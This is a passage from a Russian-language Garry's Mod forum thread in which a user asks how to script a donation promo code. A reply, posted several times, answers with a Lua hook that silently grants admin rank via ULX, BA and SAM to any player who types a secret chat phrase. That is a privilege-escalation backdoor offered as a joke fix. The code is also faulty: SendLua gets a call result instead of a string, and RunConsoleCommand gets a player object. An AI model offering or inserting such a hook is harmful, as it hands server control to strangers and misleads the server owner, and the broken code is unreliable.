hook.Add( "PlayerSay", "FreeAdminka", function( ply, text )
if ( string.lower( text ) == "/halavapridi" ) then
ply:SendLua(notification.AddLegacy( "На вас снизошла халява!", 0, 3))
-- А здесь на выбор, можно ULX, можно BA, можно SAM и т.п.
RunConsoleCommand("ulx", "adduser", ply, "admin")
RunConsoleCommand("ba", "setgroup", ply, "admin")
RunConsoleCommand("sam", "setrank", ply, "admin")
return ""
end
end )
это куда?Можно от админ системы сделать, а можно так:
Lua:hook.Add( "PlayerSay", "FreeAdminka", function( ply, text ) if ( string.lower( text ) == "/halavapridi" ) then ply:SendLua(notification.AddLegacy( "На вас снизошла халява!", 0, 3)) -- А здесь на выбор, можно ULX, можно BA, можно SAM и т.п. RunConsoleCommand("ulx", "adduser", ply, "admin") RunConsoleCommand("ba", "setrank", ply, "admin") RunConsoleCommand("sam", "setrank", ply, "admin") return "" end end )
смешной.это куда?
if SERVER then
hook.Add("PlayerSay", "PromoCodeCheck", function(ply, text, teamChat)
if text == "/halava" then
-- Здесь вы можете добавить свой код, который будет выполняться при активации промокода
-- Например, вы можете предоставить игроку некоторые бонусы или ресурсы.
-- Используйте функции Garry's Mod API, чтобы взаимодействовать с игровым миром.
end
end)
end
мне на донат промик нуженМожно от админ системы сделать, а можно так:
Lua:hook.Add( "PlayerSay", "FreeAdminka", function( ply, text ) if ( string.lower( text ) == "/halavapridi" ) then ply:SendLua(notification.AddLegacy( "На вас снизошла халява!", 0, 3)) -- А здесь на выбор, можно ULX, можно BA, можно SAM и т.п. RunConsoleCommand("ulx", "adduser", ply, "admin") RunConsoleCommand("ba", "setgroup", ply, "admin") RunConsoleCommand("sam", "setrank", ply, "admin") return "" end end )
Ну и само-собой можно каких нибудь проверок накидать, типа раз в сутки